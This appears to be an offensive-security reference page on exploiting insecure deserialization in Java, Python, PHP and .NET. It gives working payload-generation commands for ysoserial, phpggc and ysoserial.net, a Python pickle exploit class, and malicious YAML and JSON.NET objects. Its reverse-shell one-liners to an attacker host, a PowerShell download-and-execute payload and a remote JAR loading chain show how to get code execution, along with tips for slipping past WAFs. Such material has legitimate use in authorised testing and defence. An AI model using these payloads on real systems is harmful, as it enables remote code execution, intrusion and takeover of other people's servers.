# Insecure Deserialization

> Exploiting insecure deserialization over HTTP/HTTPS to achieve RCE, privilege escalation, or authentication bypass via crafted serialized payloads.

- **URL:** https://hackindex.io/services/web/exploitation/insecure-deserialization
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-09-11
- **Updated:** 2026-09-11

Insecure deserialization turns user-controlled serialized data into code execution. When an application deserializes untrusted input without validation, an attacker provides a crafted object that triggers dangerous operations during reconstruction. The impact ranges from arbitrary file reads to full remote code execution depending on the language, framework, and available classes (gadget chains) on the classpath or import path.

Deserialization bugs appear in any endpoint that accepts serialized objects: cookies, hidden form fields, API parameters, message queues, and file uploads. The serialization format varies by language: Java uses binary streams, Python uses pickle, PHP uses `serialize()`, and some frameworks accept YAML with object instantiation. PHP deserialization chains are also the core technique behind exploits like [Laravel Ignition RCE](https://hackindex.io/services/web/exploitation/laravel-ignition-rce-cve-2021-3129).

This page covers deserialization exploitation per language and tooling:

- Java deserialization with ysoserial gadget chains (Commons Collections, Hibernate, Spring)
- Python pickle and YAML deserialization via `__reduce__` and unsafe loaders
- PHP deserialization with phpggc for Laravel, Symfony, WordPress, and Monolog chains
- Troubleshooting failed chains, version mismatches, and WAF bypasses

## Java Deserialization with ysoserial

Java serialized objects start with the magic bytes `AC ED 00 05` (hex) or `rO0AB` (base64). If you spot either in a cookie, POST body, or request parameter, the endpoint deserializes Java objects. The attack uses gadget chains: sequences of existing classes on the application's classpath that chain together to reach `Runtime.exec()` or equivalent. ysoserial generates payloads for known gadget chains. The correct chain depends on which libraries the target application ships. Commons Collections versions 3.1-3.2.1 and 4.0 are the most common targets.

```bash
java -jar ysoserial-all.jar CommonsCollections1 'ping -c 3 $LHOST' > payload.bin
```

Send the payload to the vulnerable endpoint. Base64 encode if the transport expects text:

```bash
cat payload.bin | base64 -w 0 | xargs -I {} curl -sk http://$TARGET_IP:$PORT/api/endpoint -H 'Content-Type: application/x-java-serialized-object' -d '{}'
```

Start a tcpdump listener before sending to confirm execution via the ping callback:

```bash
sudo tcpdump -i tun0 icmp
# 16:42:01.234 IP 10.10.10.5 > 10.10.14.2: ICMP echo request, id 1234, seq 1, length 64
```

If ping confirms execution, escalate to a reverse shell. Bash special characters break inside Java's `Runtime.exec()` because it does not invoke a shell. Wrap the command in `bash -c` and base64-encode the inner payload:

```bash
PAYLOAD=$(echo -n "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" | base64 -w 0)
java -jar ysoserial-all.jar CommonsCollections1 "bash -c {echo,$PAYLOAD}|{base64,-d}|bash" > shell.bin
```

If CommonsCollections1 does not trigger, iterate through other chains. CommonsCollections5, CommonsCollections6, and CommonsCollections7 target different CC versions. CommonsBeanutils1 works when BeanUtils is on the classpath. Hibernate1 targets Hibernate ORM. Spring1 targets Spring Framework. Try each until one succeeds or errors change to indicate deserialization is happening but the chain is wrong.

### Identifying the Gadget Chain

Error messages often reveal which libraries are loaded. A `ClassNotFoundException` for `org.apache.commons.collections.Transformer` means Commons Collections is not on the classpath, move to the next chain. A `java.io.InvalidClassException` with a serialVersionUID mismatch means the chain targets a different library version. Match the version from the error to the correct ysoserial chain. Running all chains blindly works but generates noise. Prefer targeted selection when error output is available.

## Python Pickle Deserialization

Python's `pickle` module executes arbitrary code during deserialization by design. Any endpoint that calls `pickle.loads()` on user input is exploitable. Pickle payloads appear as binary data or base64-encoded strings. The `__reduce__` method on a class controls what gets called during unpickling. Build a class that returns `os.system` with your command:

```python
import pickle
import base64
import os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)
```

```bash
python3 exploit.py | xargs -I {} curl -sk http://$TARGET_IP:$PORT/api/load -d 'data={}'
```

Pickle deserialization also appears in Flask session cookies when the application uses a weak or known `SECRET_KEY`. Flask signs cookies with HMAC but does not encrypt them. Decode the cookie, forge a new one with a pickle payload, and sign it with the leaked key. The `flask-unsign` tool automates this workflow.

## Python YAML Deserialization

PyYAML's `yaml.load()` without a safe loader instantiates arbitrary Python objects. The `!!python/object/apply` tag calls any callable with arguments. This affects applications using `yaml.load(input)` or `yaml.load(input, Loader=yaml.Loader)`. Safe loaders (`yaml.safe_load`, `yaml.SafeLoader`) block object instantiation entirely.

```yaml
!!python/object/apply:os.system
- "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
```

For Java applications using SnakeYAML, the same pattern applies. SnakeYAML's default constructor allows arbitrary class instantiation through the `!!javax.script.ScriptEngineManager` tag. Host a malicious service provider on your attacker machine and reference it via URL:

```yaml
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://$LHOST:$LPORT/"]
  ]]
]
```

The target fetches the remote JAR and loads it as a ScriptEngine provider. The JAR's `META-INF/services/javax.script.ScriptEngineFactory` file points to a class whose static initializer or constructor runs your payload. The [yaml-payload](https://github.com/artsploit/yaml-payload) repository provides a ready-made template: clone it, edit the command in the Java source, compile, and host.

## PHP Deserialization with phpggc

PHP's `unserialize()` reconstructs objects from serialized strings. Magic methods (`__wakeup`, `__destruct`, `__toString`) execute automatically during or after deserialization. If any class on the autoload path has a dangerous magic method chain, it leads to file writes, SSRF, or RCE. phpggc generates payloads for known framework gadget chains.

```bash
phpggc -l
# NAME                          VERSION           TYPE       VECTOR
# Laravel/RCE1                  5.4.27            RCE        __destruct
# Laravel/RCE5                  5.8.30            RCE        __destruct
# Laravel/RCE10                 8.16.1            RCE        __destruct
# Symfony/RCE4                  3.4               RCE        __destruct
# WordPress/RCE1                4.7.0             RCE        __destruct
# Monolog/RCE1                  1.18-2.x          RCE        __destruct
```

Generate a payload for the target framework. Identify the framework from headers, error pages, or directory structure. Laravel exposes its version in debug mode. Symfony shows its version in the profiler toolbar.

```bash
phpggc Laravel/RCE10 system 'id' -b
# Tzo0NzoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7...
```

For reverse shell payloads, use a shell one-liner as the command argument:

```bash
phpggc Laravel/RCE10 system "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'" -b
```

PHP serialized strings start with a type indicator: `O:` for objects, `a:` for arrays, `s:` for strings. If you see `O:4:"User":2:{` in a cookie or parameter, the application deserializes PHP objects. URL-decode and inspect the full string to identify the class names in use, which helps narrow down the correct phpggc chain.

## .NET Deserialization with ysoserial.net

.NET applications deserialize objects through BinaryFormatter, SoapFormatter, ObjectStateFormatter (ViewState), and JSON.NET. The attack surface includes ViewState parameters, SOAP endpoints, remoting channels, and any JSON API using `TypeNameHandling`. ysoserial.net generates payloads for known .NET gadget chains targeting common framework classes.

### ViewState Deserialization

ASP.NET ViewState is a serialized object stored in a hidden form field (`__VIEWSTATE`). When MAC validation is disabled or the machineKey is known, an attacker can inject a crafted ViewState that executes code during deserialization. Older ASP.NET versions (before 4.5.2) sometimes ship with MAC validation disabled. Identify this from the `web.config` setting `enableViewStateMac="false"` or by observing that modified ViewState values are accepted without error.

With a known machineKey (from config disclosure, backup files, or default keys in older frameworks):

```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell -e <BASE64_PAYLOAD>" --path="/app/page.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="<KEY>" --validationalg="SHA1" --validationkey="<KEY>"
```

The `--path` and `--apppath` must match the target page. Extract both keys from the machineKey section in `web.config`. If ViewState MAC is disabled entirely, the keys are not needed and the payload is simpler:

```bash
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "ping $LHOST"
```

Send the output as the `__VIEWSTATE` parameter in a POST request to the target page. Start a tcpdump listener before sending to confirm execution via the ping callback.

### BinaryFormatter and ObjectDataProvider

BinaryFormatter is the most dangerous .NET deserializer. It reconstructs arbitrary types including those that execute code in constructors or property setters. Any endpoint that passes user input to `BinaryFormatter.Deserialize()` is exploitable. The ObjectDataProvider gadget invokes arbitrary methods during deserialization:

```bash
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c ping $LHOST" -o base64
```

Other useful gadget chains in ysoserial.net: `WindowsIdentity` (targets `System.Security`), `ActivitySurrogateSelector` (works on .NET Framework 4.x when Code Access Security is not enforced), `PSObject` (targets PowerShell runtime classes). Try TypeConfuseDelegate first as it has the widest compatibility across .NET Framework versions.

For a reverse shell, generate a base64-encoded PowerShell payload:

```bash
PAYLOAD=$(echo -n "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST:$LPORT/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0)
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "powershell -e $PAYLOAD" -o base64
```

### JSON.NET TypeNameHandling

Newtonsoft JSON.NET with `TypeNameHandling` set to `All`, `Auto`, or `Objects` deserializes types specified in a `$type` field. An attacker injects a JSON object with `$type` pointing to a dangerous class. The ObjectDataProvider gadget chain calls arbitrary methods:

```json
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": ["cmd", "/c ping $LHOST"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
  }
}
```

Send this JSON to any API endpoint that deserializes with TypeNameHandling enabled. Detect this setting by sending a `$type` field with an invalid class name: if the server returns a `JsonSerializationException` mentioning the type, TypeNameHandling is active. If the server silently ignores `$type`, the setting is `None` and this vector is not exploitable.

### Detecting .NET Deserialization Targets

ViewState: look for a `__VIEWSTATE` hidden field in HTML forms. The value starts with `/wEP` (base64 for the ObjectStateFormatter magic bytes). SOAP endpoints: `.asmx` and `.svc` extensions accept serialized objects. Remoting: `.rem` and `.soap` extensions. JSON APIs: test for TypeNameHandling by adding `"$type": "System.String"` to a JSON request and observing whether the response changes.

## When Deserialization Fails

Deserialization payloads fail for several common reasons. Whitelisted classes block unknown types during reconstruction. Java's `ObjectInputFilter` (JEP 290, Java 9+) restricts which classes can be deserialized. PHP 8.0+ changed some magic method behavior. Version mismatches between the gadget chain and the installed library version cause `InvalidClassException` or silent failures.

If the correct library is present but the chain fails, try an older or newer version of the same chain. ysoserial and phpggc both have multiple chains per library. Check the target's dependency versions through error messages, `/WEB-INF/lib/` directory listings, or `composer.lock` / `pom.xml` files if accessible.

WAFs may block known payload signatures. Base64 encoding, gzip compression, or switching between binary and string representations can bypass shallow signature checks. For Java, some WAFs only check for the `AC ED` magic bytes at the start, encoding the entire stream in base64 bypasses those checks.

## References

- [ysoserial](https://github.com/frohoff/ysoserial) - Java deserialization exploit tool with gadget chains for common libraries.
- [phpggc](https://github.com/ambionics/phpggc) - PHP generic gadget chain generator for known frameworks.
- [yaml-payload](https://github.com/artsploit/yaml-payload) - SnakeYAML RCE payload template with ScriptEngineManager chain.
- [ysoserial.net](https://github.com/pwntester/ysoserial.net) - .NET deserialization exploit tool with gadget chains for BinaryFormatter, ViewState, JSON.NET, and SoapFormatter.
